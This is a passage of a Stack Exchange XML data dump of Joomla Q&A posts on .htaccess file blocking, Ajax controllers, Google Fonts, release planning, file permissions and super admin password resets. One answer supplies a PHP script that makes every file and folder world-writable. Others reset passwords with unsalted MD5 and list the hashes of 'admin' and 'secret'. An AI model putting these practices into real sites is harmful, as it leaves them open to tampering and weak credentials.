lang param to your request (like &lt;code&gt;&amp;amp;lang=de&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Joomla! Ajax Interface&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;New in Joomla 3.2! - enabled you to make handle requests without building a component&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/component/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Ajax Interface&lt;/a&gt;  - Joomla now provides a lightweight way to handle Ajax request in a plugin or module. You may want to use the Joomla! Ajax Interface if you don't have already a component or if you need to make requests from a module your already have.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2017-09-29T06:33:54.650" LastActivityDate="2017-09-29T06:33:54.650" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="1" AcceptedAnswerId="151" CreationDate="2014-04-23T08:15:53.287" Score="10" ViewCount="1141" Body="&lt;p&gt;Some site owners don't want people, especially their competitors, know what features they have on their sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because some sensitive information in language or configuration files can be accessed directly from browser, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_bank/language/en-GB/en-GB.com_bank.ini&#xA;administrator/components/com_bank/config.xml&#xA;components/com_bank/models/forms/transaction.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although only technical people know about Joomla can figure out these links, access them and find out (or guess) what the features the site has, however the site owners want everything to be secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any server side solution or any Joomla extension to forbid direct access to these INI and XML files?&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="10" LastEditDate="2014-04-25T02:51:38.990" LastActivityDate="2014-04-25T02:51:38.990" Title="Forbid direct access to INI and XML files" Tags="|cms|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostTypeId="2" ParentId="148" CreationDate="2014-04-23T08:23:42.590" Score="6" Body="&lt;p&gt;You can extend the .htaccess file of Joomla with a RewriteRule for there file types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple one could be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule \.xml$ index.php [L]&#xA;RewriteRule \.ini$ index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;these rules checks if the end of the request is &quot;.xml&quot; or &quot;.ini&quot; and rewrites the request to index.php. the [L] means last rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should put this in the section &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Custom redirects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-23T08:23:42.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostTypeId="2" ParentId="148" CreationDate="2014-04-23T08:26:57.393" Score="3" Body="&lt;p&gt;A Joomla extension would be the wrong approach since Joomla isn't involved when you directly access files on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve what you want easily with .htaccess or in your server config. Something like this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files  ~ &quot;\.xml$&quot;&amp;gt;&#xA;  Order allow,deny&#xA;  Deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taken from &lt;a href=&quot;http://www.ducea.com/2006/07/21/apache-tips-tricks-deny-access-to-certain-file-types/&quot; rel=&quot;nofollow&quot;&gt;http://www.ducea.com/2006/07/21/apache-tips-tricks-deny-access-to-certain-file-types/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-23T08:26:57.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="2" ParentId="148" CreationDate="2014-04-23T08:28:41.520" Score="13" Body="&lt;p&gt;Put this directive inside your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;.(ini|xml)$&quot;&amp;gt;&#xA;  order allow,deny&#xA;  deny from all&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-23T08:28:41.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="1" AcceptedAnswerId="171" CreationDate="2014-04-23T08:33:20.603" Score="22" ViewCount="928" Body="&lt;p&gt;If I have extensions &quot;installed but disabled&quot; in my extension manager (as opposed to &quot;completely uninstalled&quot;), do these disabled extensions slow down web site performance for web site visitors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, why?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="52" LastEditDate="2014-05-09T10:55:43.153" LastActivityDate="2015-11-26T21:12:55.480" Title="Do 'disabled' extensions slow down Joomla! site performance?" Tags="|extensions|performance|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="153" PostTypeId="2" ParentId="152" CreationDate="2014-04-23T08:38:37.530" Score="6" Body="&lt;p&gt;No. They do not slow down performance of your website.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T08:38:37.530" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostTypeId="2" ParentId="146" CreationDate="2014-04-23T08:46:33.693" Score="7" Body="&lt;p&gt;Valentin's answer is good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer a json controller that handles the encoding and error handling for this I created a json base class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class itrControllerJson extends JControllerLegacy {&#xA;&#xA;  /** @var array the response to the client */&#xA;  protected $response = array();&#xA;&#xA;  public function addResponse($type, $message, $status=200) {&#xA;&#xA;    array_push($this-&amp;gt;response, array(&#xA;      'status' =&amp;gt; $status,&#xA;      'type' =&amp;gt; $type,&#xA;      'data' =&amp;gt; $message&#xA;    ));&#xA;&#xA;  }&#xA;&#xA;  /**&#xA;   * Outputs the response&#xA;   * @return JControllerLegacy|void&#xA;   */&#xA;  public function display() {&#xA;&#xA;    $response = array(&#xA;      'status' =&amp;gt; 200,&#xA;      'type' =&amp;gt; 'multiple',&#xA;      'count' =&amp;gt; count($this-&amp;gt;response),&#xA;      'messages' =&amp;gt; $this-&amp;gt;response&#xA;    );&#xA;&#xA;    echo json_encode($response);&#xA;    jexit();&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This controller get extended by the controller class that do the work, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once __DIR__.'json.php';&#xA;&#xA;class componentControllerAddress extends itrControllerJson {&#xA;  public function get() {&#xA;&#xA;    try {&#xA;      if (!JSession::checkToken()) {&#xA;        throw new Exception(JText::_('JINVALID_TOKEN'), 500);&#xA;      }&#xA;      $app = JFactory::getApplication();&#xA;&#xA;      $id = $app-&amp;gt;input-&amp;gt;get('id', null, 'uint');&#xA;      if (is_null($id)) {&#xA;        throw new Exception('Invalid Parameter', 500);&#xA;      }&#xA;&#xA;      $db = JFactory::getDbo();&#xA;      $query = $db-&amp;gt;getQuery(true);&#xA;      $query-&amp;gt;select('*');&#xA;      $query-&amp;gt;from('#__table');&#xA;      $query-&amp;gt;where('id = '.$db-&amp;gt;quote($id));&#xA;      $db-&amp;gt;setQuery($query);&#xA;      $response = $db-&amp;gt;loadObject();&#xA;&#xA;      $this-&amp;gt;addResponse('message', $response, 200);&#xA;&#xA;    } catch (Exception $e) {&#xA;      $this-&amp;gt;addResponse('error', $e-&amp;gt;getMessage(), 500);&#xA;    }&#xA;&#xA;    $this-&amp;gt;display();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you call the request like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_component&amp;amp;task=address.get&amp;amp;format=json&amp;amp;id=1234&amp;amp;tokenhash=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The token hash get generated by JSession::getFormToken(). So the complete complete call could be look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = JRoute::_('index.php?option=com_component&amp;amp;task=address.get&amp;amp;format=json&amp;amp;id=1234&amp;amp;'.JSession::getFormToken().'=1', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second parameter is set to &quot;false&quot; so we can use this in javascript calls without xml rewrite.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-23T08:46:33.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostTypeId="2" ParentId="10" CreationDate="2014-04-23T08:54:50.047" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We have developed RB Framework, on top of Joomla. We use it for our component development (PayPlans, PayInvoice, etc.) &#xA;(&lt;a href=&quot;https://github.com/readybytes/rbframework&quot; rel=&quot;nofollow&quot;&gt;https://github.com/readybytes/rbframework&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We have a component builder for the same  (&lt;a href=&quot;https://github.com/readybytes/component-builder&quot; rel=&quot;nofollow&quot;&gt;https://github.com/readybytes/component-builder&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Above framework reduces a lot of stress of doing same things again and again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imp : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Documentation is not available. You need to learn by existing components.&lt;/li&gt;&#xA;&lt;li&gt;Its so powerful that our website have custom built component for blogging and documentation (developed in a day).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T08:54:50.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="156" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T08:55:43.300" Score="4" Body="&lt;p&gt;The other answers provides a good explanation of what should be done, I only want to add a script to fix the permissions if you already uploaded a component and can't access the files with ftp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I would upload this file as &lt;code&gt;fix.php&lt;/code&gt; to the FTP server and open it in the browser: &lt;code&gt;http://example.com/fix.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;file_fix_directory(dirname(__FILE__));&#xA;&#xA;function file_fix_directory($dir, $nomask = array('.', '..')) {&#xA;  if (is_dir($dir)) {&#xA;     // Try to make each directory world writable.&#xA;     if (@chmod($dir, 0777)) {&#xA;       echo &quot;&amp;lt;p&amp;gt;Made writable: &quot; . $dir . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;     }&#xA;  }&#xA;  if (is_dir($dir) &amp;amp;&amp;amp; $handle = opendir($dir)) {&#xA;    while (false !== ($file = readdir($handle))) {&#xA;      if (!in_array($file, $nomask) &amp;amp;&amp;amp; $file[0] != '.') {&#xA;        if (is_dir(&quot;$dir/$file&quot;)) {&#xA;          // Recurse into subdirectories&#xA;          file_fix_directory(&quot;$dir/$file&quot;, $nomask);&#xA;        }&#xA;        else {&#xA;          $filename = &quot;$dir/$file&quot;;&#xA;            // Try to make each file world writable.&#xA;            if (@chmod($filename, 0666)) {&#xA;              echo &quot;&amp;lt;p&amp;gt;Made writable: &quot; . $filename . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;      }&#xA;    }&#xA;&#xA;    closedir($handle);&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script sets all the file's permissions to 666 and all directory's to 777. World writable is &lt;strong&gt;not&lt;/strong&gt; the best set of permissions for a shared host but you will be able to access your files again and can then set it to the correct values with FTP.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="140" LastEditDate="2014-04-23T14:08:14.553" LastActivityDate="2014-04-23T14:08:14.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="1" AcceptedAnswerId="159" CreationDate="2014-04-23T09:01:58.603" Score="11" ViewCount="2470" Body="&lt;p&gt;How do I incorporate multiple Google Fonts into my Joomla! site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to maximize compatibility in all browsers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can multiple Google Fonts be incorporated through the admin panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to include in my CSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using JCE as the default content editor - how do I make the Google fonts appear in the drop-down and eliminate the other fonts? (i.e. to avoid authors selecting a font that is not in the style guide).&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-04-23T13:39:31.200" Title="How do I incorporate multiple Google Fonts into my Joomla! 3 site and JCE?" Tags="|fonts|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostTypeId="2" ParentId="157" CreationDate="2014-04-23T09:44:51.870" Score="9" Body="&lt;p&gt;Let's say you want &quot;Roboto&quot; and &quot;Open Sans&quot; to be available for your authors in JCE font-family drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First :&lt;/strong&gt;&#xA;&lt;br/&gt;Find your fonts in &lt;a href=&quot;https://www.google.com/fonts&quot; rel=&quot;noreferrer&quot;&gt;google fonts&lt;/a&gt; and add to your editor CSS stylesheet the @import you  get from them.&lt;br/&gt; For this example, it looks like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(http://fonts.googleapis.com/css?family=Roboto|Open+Sans);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second :&lt;/strong&gt;&#xA;&lt;br/&gt;To remove/add fonts in JCE you need to go to the Typography tab in the editor parameters. For joomla 3.2 the path is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Component &gt; JCE Editor &gt; Editor Profiles &gt; choose the profile you want&#xA;  to add/remove fonts from &gt; Editor parameters &gt;typography.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Scroll down to &quot;Fonts&quot; and you can start by unticking the fonts you want to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can add new fonts to the list by clicking on &quot;add new font...&quot; enter you font names, save and that's it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Browser compatibility :&lt;/strong&gt;&#xA;&lt;br/&gt;The google API is compatible for the following browsers :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Google Chrome: version 4.249.4+&lt;/li&gt;&#xA;  &lt;li&gt;Mozilla Firefox: version: 3.5+&lt;/li&gt;&#xA;  &lt;li&gt;Apple Safari: version 3.1+&lt;/li&gt;&#xA;  &lt;li&gt;Opera: version 10.5+&lt;/li&gt;&#xA;  &lt;li&gt;Microsoft Internet Explorer: version 6+&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/fonts/faq#Browsers_Supported&quot; rel=&quot;noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2014-04-23T13:39:31.200" LastActivityDate="2014-04-23T13:39:31.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="1" AcceptedAnswerId="173" CreationDate="2014-04-23T09:46:28.607" Score="11" ViewCount="122" Body="&lt;p&gt;With the new development strategy there will be no version called LTS upfront. With the information currently published 3.4 will take the place of the announced 3.5. Assuming there are plans for 4.0,4.1,4.2,4.3,4.4 at what time sites are expected to be migrated to which version.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="69" LastEditDate="2014-04-24T08:24:28.827" LastActivityDate="2014-04-24T08:24:28.827" Title="When to move to a new major release?" Tags="|maintenance|cms|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T10:00:46.830" Score="22" Body="&lt;p&gt;There are a few potential causes for file and folder permission issues on Linux hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. File and Folder Permissions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check folder permissions are set to 0755 and file permissions are set to 0644. Note that file and folder permissions can be reset to these standard secure settings on a site wide basis using the free or the paid version of Akeeba Admin Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. PHP Parameters&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the upload_max_filesize parameter in the PHP Information tab in the System Information is sufficient. You can often override the default setting in a shared hosting environment via the PHP settings in cPanel or a custom &lt;code&gt;php.ini&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Incorrect Paths in configuration.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have incorrect paths specified for the tmp and logs folders. These are specified in the System Configuration or can be updated directly in the configuration.php file if you are comfortable editing system files directly. If you are unsure of what the path should be, create and upload a file &lt;code&gt;whereami.php&lt;/code&gt; (or similar) to the root folder of your website with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  print 'Current folder is ' . dirname(__FILE__);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Browse to &lt;code&gt;[mywebsite].com/whereami.php&lt;/code&gt; to see the path to the root folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the correct path, remember to delete the &lt;code&gt;whereami.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Unsuitable PHP File Handler&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your web hosting may be configured with the default PHP file handler but should ideally be using suPHP or FastCGI or similar so that Joomla can upload and execute files using secure file permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what PHP handler is being used at &lt;code&gt;System -&amp;gt; System Information -&amp;gt; WebServer to PHP Interface&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a good article on the relative merits of PHP file handlers at: &lt;a href=&quot;http://boomshadow.net/tech/php-handlers&quot; rel=&quot;nofollow&quot;&gt;http://boomshadow.net/tech/php-handlers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a shared hosting environment you don't usually have access to change which PHP file handler is enabled but your web hosting company may be able to change this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes as a work-around, file and folder permissions are changed to 0777 but this puts your website in a vulnerable state and 0777 file permissions should generally be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your web hosting company can't enable suPHP or FastCGI, the only other option might be to find a new web hosting company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5. Disk Space&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check you have not exceeded your disk space quota.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TROUBLESHOOTING CHECKLIST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the recommended best practices for setting permissions and&#xA;  ownerships in Joomla on linux systems?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See 1 and 4.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not being able to transfer files to the server using programs such as&#xA;  WinSCP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See 1, 2, possibly 4, and 5.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not being able to install Joomla extensions, plugins etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See 1, 2, 3, 4 and 5.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Insecure files and folders due to dangerous permissions and ownership&#xA;  settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See 1 and 4.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-05-29T01:51:25.833" LastActivityDate="2016-05-29T01:51:25.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostTypeId="1" AcceptedAnswerId="169" CreationDate="2014-04-23T10:04:32.640" Score="16" ViewCount="7505" Body="&lt;p&gt;I have forgotten my super admin password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset the super admin account password?&lt;br&gt;&#xA;I have access to both FTP and phpMyadmin how can I &lt;strong&gt;change the Super User account password&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My table prefix is &lt;code&gt;Xyz8_&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2016-02-07T12:59:53.580" LastActivityDate="2016-02-07T12:59:53.580" Title="Change Super User account password" Tags="|joomla-3.x|phpmyadmin|account-password|super-user|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="2" ParentId="160" CreationDate="2014-04-23T10:11:08.280" Score="0" Body="&lt;p&gt;In my understanding, starting with 3.4 you should always use the latest release, as it will get support for 2 years after its release and support for older versions (3.3, ...) will be discontinued. All releases in a series (3.x) will be backwards compatible so an update should generally be no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new 4.x series will break backwards compatibility and you should only upgrade then if you want to use the new features.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-04-23T10:11:08.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="165" PostTypeId="2" ParentId="160" CreationDate="2014-04-23T10:12:22.920" Score="2" Body="&lt;p&gt;Starting from Joomla! 3.4 every version will be a stable one and will have support at least two years unless the new minor version will be released. If it will happen then the previous minor version will not be supported and the current one will be supported at least two years. So if you are planning to migrate to 3.x series, then you are safe do it from v3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to 4.x series - 4.0 also will be a stable one and will have support at least two years unless the new minor version will be released (for example 4.1). So you can migrate to any minor versions of 4.x series. But keep in mind that every major release has backward incompatible changes! So this migration should be planned very carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you should not migrate to BETA or RC releases, because these are for testing purposes only.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2014-04-23T10:42:35.637" LastActivityDate="2014-04-23T10:42:35.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="2" ParentId="163" CreationDate="2014-04-23T10:25:04.327" Score="6" Body="&lt;p&gt;Joomla uses the Xyz8_users table for storing user data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reseting the passwort is simple just execute this query in phpmyadmin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update Xyz8_users set password=md5('newpassword') where username='yourusername';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After changing the password with SQL, log into Joomla and it will be converted to an update passwort hashing method.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-23T10:25:04.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="2" ParentId="163" CreationDate="2014-04-23T10:30:57.140" Score="5" Body="&lt;p&gt;you should look for table Xyz8_users.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click &quot;Browse&quot;&#xA;2 List with all users will appear. Find the user you want to edit and click the &quot;Edit&quot; link in front of the row&lt;/li&gt;&#xA;&lt;li&gt;Find the &quot;password&quot; row and click on the select box under the &quot;Function&quot; column.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;MD5&quot; and type the new password in &quot;Value&quot; textarea.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Go&quot; button at the bottom of the page and you voila, your password is changed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;img src=&quot;https://i.stack.imgur.com/ECrxJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="40" LastActivityDate="2014-04-23T10:30:57.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostTypeId="2" ParentId="163" CreationDate="2014-04-23T10:30:58.457" Score="5" Body="&lt;p&gt;&lt;strong&gt;Method 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In phpMyAdmin, go to the &lt;code&gt;Xyz8_users&lt;/code&gt; table (change the table prefix, &lt;code&gt;Xyz8_&lt;/code&gt; to your table prefix if it is different.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the record for the Super User account (the Super Admin account has an ID of 62 or 42 by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy and paste a known MD5 hash (one of the longer character strings below) into the password field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin = 21232f297a57a5a743894a0e4a801fc3&#xA;&#xA;secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in to the back-end of your website with the new password, &quot;admin&quot; or &quot;secret&quot; or similar from above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once logged in, you can reset the password to anything you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In phpMyAdmin, go to SQL tab and enter a MySQL query like the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `Xyz8_users` SET `password` = MD5( 'new-password' ) WHERE `Xyz8_users`.`username` = &quot;admin&quot; ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(change the table prefix, &lt;code&gt;Xyz8_&lt;/code&gt; to your table prefix if it is different.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;new_password&quot; - replace this with the new password you wish to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;admin&quot; - replace this if your admin username is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the GO button to submit the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in to the back-end of your website with the new password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reference:&lt;/strong&gt; &lt;a href=&quot;http://kb.siteground.com/article/How_to_reset_my_Joomla_administrator_password.html&quot;&gt;http://kb.siteground.com/article/How_to_reset_my_Joomla_administrator_password.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-04-23T10:30:58.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="2" ParentId="163" CreationDate="2014-04-23T10:32:50.593" Score="14" Body="&lt;p&gt;From the joomla docs &lt;a href=&quot;http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot;&gt;How do you recover or reset your admin password?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1: Configuration.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use an FTP program to access your site's ftp&lt;/li&gt;&#xA;&lt;li&gt;Locate and download the &lt;code&gt;configuration.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a text editor open &lt;code&gt;configuration.php&lt;/code&gt; and add the following line. Substitute &lt;em&gt;myname&lt;/em&gt; to a name of an account with administrator access that you know the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public $root_user='myname';&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the file &lt;code&gt;configuration.php&lt;/code&gt; and upload it again via FTP to your site with file permissions 644. This user will now be a temporary super administrator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to the backend with the above account and change the &lt;strong&gt;lost&lt;/strong&gt; admin's account password. You can also block or delete the old and create a new one instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When finished, make sure to use the &quot;Click here to try to do it 